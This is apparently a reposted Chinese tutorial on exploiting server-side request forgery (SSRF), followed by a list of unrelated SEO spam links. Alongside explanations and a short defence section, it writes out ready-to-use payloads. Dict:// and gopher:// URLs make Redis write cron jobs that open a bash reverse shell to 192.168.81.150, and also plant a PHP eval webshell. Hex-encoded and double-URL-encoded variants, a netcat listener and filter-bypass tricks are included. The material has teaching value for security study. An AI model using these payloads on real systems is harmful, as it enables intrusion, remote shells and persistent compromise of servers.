当前位置: 首页 > wzjs >正文

一个购物交易网站怎么做国内十大搜索引擎

一个购物交易网站怎么做,国内十大搜索引擎,长沙点梦网站建设,wordpress安装avadaSSRF:服务端请求伪造 危害:任意文件读取、任意服务探测(通过端口来探测) 例:探测3306端口,看mysql服务是否开启,再通过文件读取,获得mysql配置文件 例:当我们点击链接…

SSRF:服务端请求伪造

危害:任意文件读取、任意服务探测(通过端口来探测)

例:探测3306端口,看mysql服务是否开启,再通过文件读取,获得mysql配置文件

例:当我们点击链接,服务器就会向后面的url链接发送一个请求,并且把获取到的内容打印到前端页面上,这里我们就可以测试一下是否存在ssrf漏洞,将后面的链接地址改为其他的链接地址试试,可以看到,当我们换成百度的url时,直接跳转了,说明存在ssrf漏洞可以利用。

那么存在ssrf漏洞,我们就可以探测内网中有哪些主机存活,哪些端口是打开的。

产生SSRF漏洞的函数

curl_exec():发起网络请求,可以设定请求头中的信息

file_get_contents():仅仅发送网络请求

SSRF找漏洞位置

1、通过url地址分享网页内容信息(比如:我们在b站分享视频到QQ空间,我看到这样的url),那我们就可以修改后面的url地址,进行探测QQ空间内网里面存活的主机有哪些(前提是后台对url没有过滤,存在ssrf漏洞,允许你访问内网)

https://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=https%3A%2F%2Fwww.bilibili.com……

2、在线翻译(比如:在有道翻译上翻译其他网页内容)

http://webtrans.yodao.com/webTransPc/index.html#/?url=https%3A%2F%2Fnginx.org%2F&from=auto&to=auto&type=1

3、图片文章收藏等功能(比如在博客园里收藏时会跳出链接)

4、利用谷歌语法找找url关键字

inurl:.php?url=

SSRF漏洞利用

(内网探测、内网信息收集、存活主机和开放端口)

1、可以对外网服务器所在的内网进行端口扫描,获取一些服务的banner信息(头部信息,比如mysql版本)

2、有时候还可以攻击运行在内网或本地的应用程序:比如通过ssrf给内网的redis写定时任务,实现反弹shell

3、对内网web应用进行指纹识别(网站框架和编程语言)

4、攻击内外网的web应用,主要是使用get参数就可以实现攻击(sql注入)

5、利用file协议读取本地文件

6、各种伪协议进行探测:http、file、dict、gopher等

SSRF中URL的伪协议

当我们发现ssrf漏洞后,首先要做的事情就是测试所有可用的伪协议

http:// 主要用于探测主机存活和端口的开放情况
file:/// 从文件系统中获取文件内容 file:///etc/password
dict:// 字典服务协议,访问字典资源 dict:///ip:6379/info
gopher:// 分布式文档传递服务,可以使用gopherus生产payload
​
sftp://SSH文件传输协议或者安全文件传输协议
ldap:// 轻量级目录访问协议

file协议

主要用于读取服务器本地文件,访问本地的静态资源

dict协议

一般常用来探测内网主机以及端口开放情况,既然能够探测端口,那么可以探测不同端口对应的服务的指纹信息,当然dict协议也可以用来执行一些服务的命令,如redis

主要用途:

1、内网主机探测

2、开放端口探测

3、端口服务指纹探测

4、执行命令

一、dict协议探测端口和服务指纹

dict://192.168.81.151:22
dict://192.168.81.151:3306
dict://192.168.81.151:6379/info

二、dict协议攻击redis,写入定时任务,进行反弹shell

centos系统定时任务路径:/var/spool/cron

debian系统定时任务路径:/var/spool/cron/crontabs

dict://192.168.81.151:6379/config:set:dir:/var/spool/cron
dict://192.168.81.151:6379/config:set:dbfilename:root
dict://192.168.81.151:6379/set:bob:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.81.150/1234 0>&1\n\n"
#注意:若payload存在转义或者被过滤或者url编码的情况出现,可以利用16进制写入内容
dict://192.168.81.151:6379/set:bob:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/192.168.81.150/1234\x200\x3e\x261\n\n"
dict://192.168.81.151:6379/save
​
反弹接收192.168.81.150:nc -lvvp 1234

三、dict协议攻击redis,写入webshell

dict://192.168.81.151:6379/config:set:dbfilename:test.php
dict://192.168.81.151:6379/config:set:dir:/usr/share/nginx/html
dict://192.168.81.151:6379/set:bob:"\n\n<?php @eval($_POST['123']);?>\n\n"
#注意若存在过滤,则利用16进制内容写入
dict://192.168.81.151:6379/set:bob:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x31\x32\x33\x27\x5d\x29\x3b\x3f\x3e\n\n"

gopher协议

分布式文档传递服务,利用该服务,用户可以无缝地浏览、搜索和检索驻留在不同位置的信息。

那么它在ssrf中如何使用呢?需要发送多行数据时,就要用到gopher协议,可以用来攻击那些需要交互的应用。

gopher协议支持多行数据一起发送,dict不支持换行符,没有办法进行换行,相当与一次只能执行一条命令,所以不能用来攻击那些需要交互的应用(比如需要认证的redis,每次都要先发送登录密码,紧接着就是要执行的指令)。(比如一次发送反弹shell的四条指令)

gopher协议支持发出get、post请求,可以先截获gey请求包和post请求包,再构成符合gopher协议的请求。(可以提交get、post;必须用%0d%0a换行)

gopher默认端口号为70,他可以以单个url的形式进行post请求,同时支持换行

gopher协议要求:

gopher://192.168.81.151:6379/*数据包
1、gopher协议会吃掉第一个字符*,所以要先放一个没有的字符
2、数据包要进行url编码
3、gopher协议数据流中,url编码之后使用%0d%0a替换字符串中的回车换行
4、数据流末尾使用%0d%0a代表消息结束

redis认可的数据包格式

# *4表示4个参数config、set、dir、/var/spool/cron
# $6表示每个参数的字节长度config长度为6
*4
$6
config
$3
set
$3
dir
$15
/var/spool/cron

这是啥意思呢?就是我们利用gopher协议写入反弹shell的四条指令,每一条的数据包格式都必须是上面redis认可的格式,并且还需要url编码发送,这就很麻烦,但我们可以借助一个工具

下载Gopherus:https://github.com/tarunkant/Gopherus

redis-cli -h 192.168.81.151 set xxx "\n\n* * * * * /bin/bash -i>&/dev/tcp/192.168.81.150/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfielname root
save

gopher://192.168.81.151:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/192.168.81.150/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2415%0D%0A/var/spool/cron%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

二次url编码:由于服务端代码是通过curl_exec()函数触发的ssrf,所以我们的payload无用字符后面的内容需要进行二次编码

gopher://192.168.81.151:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252469%250D%250A%250A%250A%252A/1%2520%252A%2520%252A%2520%252A%2520%252A%2520bash%2520-c%2520%2522sh%2520-i%2520%253E%2526%2520/dev/tcp/192.168.81.150/1234%25200%253E%25261%2522%250A%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252415%250D%250A/var/spool/cron%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25244%250D%250Aroot%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

成功:

SSRF漏洞发起应用程序攻击

这里我使用本地127.0.0.1的pikachu作为攻击,探测内网的192.168.81.151主机上的redis

最开始使用file协议没有探测出来,但是换成dict协议就成功探测出6379端口开放

执行info指令,测试是否存在未授权漏洞,和我们在redis客户端执行的命令返回结果一样

SSRF防御

1、过滤返回信息。验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件,那么在把返回结果展示给用户之前先验证返回的信息是否符合标准

2、统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态

3、限制请求的端口为http常用端口,比如80、443、8080

4、防火墙策略,内网ip设置黑名单,避免应用被用来获取内网数据,攻击内网

5、禁用不需要的洗衣,仅仅运行http和https请求,可以防止类似于file:///,gopher://,ftp://等引起的问题

6、url网址写死。固定几个网址,其他网址一律不允许访问

SSRF绕过方式

部分存在漏洞,或者可能产生SSRF的功能中做了白名单或者黑名单的处理,来达到阻止对内网服务和资源的攻击和访问,因此想要达到SSRF的攻击,需要对请求参数地址做相关的绕过处理,常见的绕过方式如下:

一、常见的绕过方式

1、限制为http://www.xxx.com域名时(利用@)

例:
http://www.aaa.com@www.bbb.com@www.ccc.com
在对@解析域名中,不同的处理函数存在处理差异,在php中的parse_url中会识别www.ccc.com,而libcurl则识别www.bbb.com
这里前面的www.aaa.com只是用来绕过限制

2、采用短网址绕过,也叫做url短链接

现在有很多的网站进行短链接生成(绕过对内网网址的限制)

3、采用进制转换

例:127.0.0.1 
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
十进制:2130706433

4、利用特殊域名

原理是DNS解析,xip.io可以指向任意域名,即
127.0.0.1.xip.io可以解析为127.0.0.1
(xip.io现在利用不了了)

5、利用[::]

这种写法是ipv6的地址写法,只要对方支持ipv6的地址进行访问就行,需要配置才行,比如nginx就可以配置ipv6来访问。
例:http://192.168.81.151
http://[::192.168.81.151]

6、利用句号

127.0.0.1
127。0。0。1(linux支持,windows不支持)

7、CRLF编码绕过

%0d->0x0d->\r回车
%0a->0x0a->\n换行
进行http头部注入
​
例:example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a

8、利用封闭的字母数字

ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ  >>>  example.com
注意:也是linux支持,windows不支持
http://www.dtcms.com/wzjs/193090.html

相关文章:

  • 聊城做网站的公司价位专业网络推广公司
  • 哈尔滨网站设计快速建站上海网站建设费用
  • wordpress自动保存seo入门基础知识
  • 免费的企业网站建设线上推广哪个平台最好
  • 网站开发服务公司百度地图在线查询
  • 蒙古文政务网站群建设工作方案百度广告推广怎么做
  • 子网站建设经验汇报百度营销推广登录
  • 青海省教育厅门户网站百度seo网络营销书
  • 武进做网站阿里云网站搭建
  • 哈尔滨建设职工大学优化防疫措施+科学精准防控
  • 如何实现网站的伪静态连接友谊
  • 摄影网站模板源码爱客crm
  • 多城市网站建设企业网站页面设计
  • 有哪些网站做明星周边seo免费课程
  • 网站简单布局图旺道seo优化
  • 藤虎网络广州网站建设免费网站推广方式
  • 做网站优化哪家公司好刷网站关键词工具
  • 有没有工程外包的网站seo网站排名全选
  • 岳阳疫情最新消息windows10优化工具
  • 免费推广的渠道有哪些优化网络培训
  • PC网站开发的意义公关公司是干嘛的
  • 天津建设工程信息网专家库官网优化工具箱
  • 企业网官方网站全球搜索
  • wordpress 煎蛋谷歌优化是什么意思
  • 网站建设 创新城市更新论坛破圈
  • 视频网站开发价格seo专业课程
  • 汕头市作风建设的网站创建自己的网站
  • 义乌小程序装修公司seo网站推广教程
  • 网站建设的运营计划书推广价格一般多少
  • h5开发网站seo优化推广